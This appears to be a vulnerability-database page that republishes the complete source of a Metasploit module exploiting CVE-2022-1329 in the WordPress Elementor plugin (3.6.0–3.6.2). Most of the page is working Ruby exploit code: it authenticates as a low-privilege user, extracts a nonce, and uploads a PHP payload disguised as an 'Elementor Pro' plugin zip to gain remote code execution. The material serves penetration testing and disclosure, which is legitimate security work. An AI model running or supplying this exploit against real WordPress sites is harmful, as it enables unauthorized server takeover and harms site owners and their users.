Lucene search
K

WordPress Elementor 3.6.2 Shell Upload

🗓️ 04 Oct 2022 00:00:00Reported by h00die, Ramuel Gall, AkuCyberSec, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 334 Views

Wordpress Elementor 3.6.2 Shell Upload vulnerability allows authenticated users to execute PHP files through the 'elementor-pro' plugin upload

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Wordpress Plugin Elementor Authenticated Upload Remote Code Execution',  
'Description' => %q{  
The WordPress plugin Elementor versions 3.6.0 - 3.6.2, inclusive have a vulnerability  
that allows any authenticated user to upload and execute any PHP file. This is achieved  
by sending a request to install Elementor Pro from a user supplied zip file.  
Any user with Subscriber or more permissions is able to execute this.  
Tested against Elementor 3.6.1  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Ramuel Gall', # Discovery  
'AkuCyberSec', # Exploit-db  
'h00die' # Metasploit module  
],  
'References' => [  
['EDB', '50115'],  
['CVE', '2022-1329'],  
['URL', 'https://www.wordfence.com/blog/2022/04/elementor-critical-remote-code-execution-vulnerability/'],  
['URL', 'https://www.youtube.com/watch?v=tIhN1svzAYk'] # great video about the exploit  
],  
'Platform' => [ 'php' ],  
'Arch' => ARCH_PHP,  
'Targets' => [  
[ 'Wordpress Elementor', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => '2022-03-29',  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options [  
OptString.new('USERNAME', [true, 'Username of a subscriber or higher account', '']),  
OptString.new('PASSWORD', [true, 'Password of a subscriber or higher account', '']),  
OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])  
]  
end  
  
def check  
unless wordpress_and_online?  
return CheckCode::Safe('Server not online or not detected as Wordpress')  
end  
  
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])  
CheckCode::Safe('Invalid credentials given!') unless cookie  
  
return check_plugin_version_from_readme('elementor', '3.6.3', '3.6.0')  
end  
  
def upload_file(nonce, cookie)  
zip_file = Rex::Zip::Archive.new  
payload_name = 'elementor-pro.php'  
print_status("Payload file name: #{payload_name}")  
# we end up in wp-admin, so we need to get to the right folder  
register_dirs_for_cleanup('../wp-content/plugins/elementor-pro')  
# payload must contain a Plugin Name header with the name of the plugin  
pload = "<?php\n"  
pload << "/**\n"  
pload << "* Plugin Name: Elementor Pro\n"  
pload << "*/\n"  
pload << payload.encoded.gsub('/*<?php /**/ ', '')  
pload << "\n?>"  
zip_file.add_file("/elementor-pro/#{payload_name}", pload)  
  
vars_form_data = [  
# post_data.add_part('elementor_upload_and_install_pro', nil, nil, 'form-data; name="action"')  
{  
'name' => 'action',  
'data' => 'elementor_upload_and_install_pro'  
},  
# post_data.add_part(nonce, nil, nil, 'form-data; name="_nonce"')  
{  
'name' => '_nonce',  
'data' => nonce  
},  
# post_data.add_part(zip_file.pack, 'application/x-zip-compressed', 'binary', 'form-data; name="fileToUpload"; filename="elementor-pro.zip"')  
{  
'name' => 'fileToUpload',  
'data' => zip_file.pack,  
'encoding' => 'binary',  
'filename' => 'elementor-pro.zip',  
'mime_type' => 'application/x-zip-compressed'  
}  
  
]  
  
resp = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),  
'cookie' => cookie,  
'vars_form_data' => vars_form_data  
)  
# we get a timeout on success  
if resp.nil?  
print_good('Payload Uploaded Successfully')  
return  
end  
fail_with(Failure::UnexpectedReply, 'Error uploading payload')  
end  
  
def get_nonce(cookie)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'profile.php'),  
'cookie' => cookie  
)  
  
unless res && (res.code == 200)  
fail_with(Failure::UnexpectedReply, "Could not get the nonce (#{res.code})")  
end  
# find the RIGHT nonce, there are many nonces on the page, but we need the admin-ajax one  
res.body.scan(/admin-ajax.php","nonce":"([a-z0-9]+)"/)[0][0].to_s  
end  
  
def exploit  
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])  
fail_with(Failure::NoAccess, 'Authentication failed') unless cookie  
cookie = cookie.gsub('wordpress_test_cookie=WP%20Cookie%20check; ', '')  
  
print_status('Looking for nonce')  
nonce = get_nonce(cookie)  
fail_with(Failure::NoAccess, 'Unable to find nonce') if nonce.nil?  
print_good("Nonce: #{nonce}")  
  
print_status('Uploading upgrade payload and activating...')  
upload_file(nonce, cookie)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation